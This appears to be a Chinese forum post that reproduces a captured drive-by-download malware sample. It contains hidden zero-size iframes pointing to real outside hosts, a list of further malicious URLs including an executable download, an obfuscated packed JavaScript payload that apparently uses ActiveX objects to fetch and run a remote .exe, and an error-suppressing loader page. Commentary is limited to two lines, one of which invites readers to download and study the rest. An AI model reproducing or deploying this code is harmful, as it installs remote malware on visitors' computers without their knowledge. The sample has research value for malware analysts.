<iframe src=http://xxx.745970.com/msdm/new138.htm?001-00 width=0 height=0></iframe><iframe src=http://acc.jqxx.org/live/index.htm width=100 height=0></iframe>
<iframe src=http://xxx.745970.com/msdm/new138.htm?001-00 width=0 height=0></iframe>
从此恶意代码引出一下地址
http://mms.nmmmn.com/un460.htm
http://mms.nmmmn.com/zaza.js
http://mms.nmmmn.com/ax.htm
http://mms.nmmmn.com/bbs.htm?460
http://xxx.745970.com/wm/014.htm
http://xxx.745970.com/wm/gogo.htm
http://xxx.745970.com/wm/gogo1.htm
http://xxx.745970.com/wm/gogo2.htm
http://js.users.51.la/1299644.js
http://xxx.745970.com/wm/014.htm
http://xxx.745970.com/wm/gogo.htm
http://js.users.51.la/1299644.js
http://down.dj7788.cn/bd.cab bd.exe
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('d 0=["\\b\\c\\9\\a\\4\\8","\\C\\c\\2\\n","\\b\\4\\m\\9\\a","\\e\\1\\x\\1","\\n\\2\\2\\f\\17\\z\\z\\8\\8\\3\\e\\9\\8\\8\\8\\9\\e\\6\\4\\8\\z\\3\\8\\3\\e\\1\\x\\1","\\4\\r\\L\\1\\6\\2","\\6\\b\\1\\c\\2\\1\\y\\7\\1\\8\\1\\9\\2","\\a\\4\\6\\m\\8\\1\\9\\2","\\6\\7\\c\\3\\3\\5\\a","\\6\\7\\3\\5\\a\\17\\J\\15\\M\\D\\q\\N\\N\\D\\F\\D\\N\\o\\A\\F\\16\\16\\15\\E\\F\\M\\1Q\\A\\o\\F\\E\\E\\q\\E\\1P\\p\\q\\10\\M\\y\\A\\D","\\3\\1\\2\\o\\2\\2\\b\\5\\r\\m\\2\\1","\\C\\5\\6\\b\\4\\3\\4\\1O\\2\\e\\1N","\\C","\\1M","\\1L","\\I","\\12","","\\q\\b\\1\\c\\2\\1\\K\\r\\L\\1\\6\\2","\\o\\a\\4\\a\\r\\e\\g\\2\\b\\1\\c\\8","\\2\\B\\f\\1","\\14\\y\\I","\\4\\f\\1\\9","\\3\\1\\9\\a","\\g\\6\\b\\5\\f\\2\\5\\9\\13\\e\\p\\5\\7\\1\\g\\B\\3\\2\\1\\8\\K\\r\\L\\1\\6\\2","\\14\\1\\2\\g\\f\\1\\6\\5\\c\\7\\p\\4\\7\\a\\1\\b","\\b\\5\\3\\5\\9\\13","\\J\\m\\5\\7\\a\\12\\c\\2\\n","\\K\\f\\1\\9","\\b\\1\\3\\f\\4\\9\\3\\1\\J\\4\\a\\B","\\1K\\b\\5\\2\\1","\\g\\c\\11\\1\\I\\4\\p\\5\\7\\1","\\q\\7\\4\\3\\1","\\C\\4\\11\\1\\p\\5\\7\\1","\\g\\n\\1\\7\\7\\e\\o\\f\\f\\7\\5\\6\\c\\2\\5\\4\\9","\\1J\\3\\B\\3\\2\\1\\8\\A\\10","\\6\\8\\a\\e\\1\\x\\1","\\Z\\z\\6\\Z","\\g\\n\\1\\7\\7\\y\\x\\1\\6\\m\\2\\1"];1I T(Y){d X=W[0[G]][0[s]]()*Y;1H 1G[0[S]](X)+0[1F]};1E{U=0[1D];d i=W[0[1C]][0[1B]](0[1A]);i[0[1z]](0[1y],0[1x]);d w=i[0[v]](0[1w]+0[1v]+0[1u]+0[1t]+0[V]+0[V]+0[1s],0[l]);d k=i[0[v]](0[1r],0[l]);k[0[1q]]=G;w[0[P]](0[1p],U,s);w[0[1o]]();j=T(1n);d h=i[0[v]](0[1m],0[l]);d u=h[0[1l]](s);d t;t=h[0[H]](u,0[1k]+j);j=h[0[H]](u,j);k[0[1j]]();k[0[1i]](w[0[1h]]);k[0[1g]](j,S);k[0[1f]]();h[0[1e]](j,t);d R=i[0[v]](0[1d],0[l]);Q=h[0[H]](u+0[1c],0[1b]);R[0[1a]](Q,0[19]+t,0[l],0[P],s)}18(O){O=G}',62,115,'msnkojhl0|x65|x74|x73|x6F|x69|x63|x6C|x6D|x6E|x64|x72|x61|var|x2E|x70|x53|msnkojhl7|msnkojhl4|xTNKA|msnkojhl6|0x11|x75|x68|x41|x46|x43|x62|0x0|msnkojhl9|msnkojhl8|0x12|msnkojhl5|x78|x45|x2F|x33|x79|x4D|x36|x30|x2D|0x1|0x1b|x54|x42|x4F|x6A|x39|x35|wm4mf|0x16|h770F2|msnkojhla|0x2|msnkojhl1|VN45u3|0xf|window|msnkojhl3|msnkojhl2|x20|x32|x76|x50|x67|x47|x44|x31|x3A|catch|0x25|0x26|0x24|0x23|0x22|0x21|0x20|0x1f|0x1d|0x1e|0x1c|0x1a|0x19|0x18|0x3e8|0x17|0x15|0x14|0x13|0x10|0xe|0xd|0xc|0xb|0x9|0x8|0xa|0x5|0x6|0x7|0x4|try|0x3|Math|return|function|x5C|x57|x48|x4C|x58|x66|x34|x38'.split('|'),0,{}))
<html>
<body>
<script language="JavaScript">
<!--
function killErrors() {
return true;
}
window.
onerror = killErrors;
// -->
</script>
<SCRIPT language="Jscript.encode" src=zaza.js></script>
<script language="JavaScript">
<!--
function killErrors() {
return true;
}
window.
onerror = killErrors;
// -->
</script>
</body>
</html>
<iframe src=ax.htm width=1 height=0></iframe>
其他的自行下载研究吧 好像比较麻烦
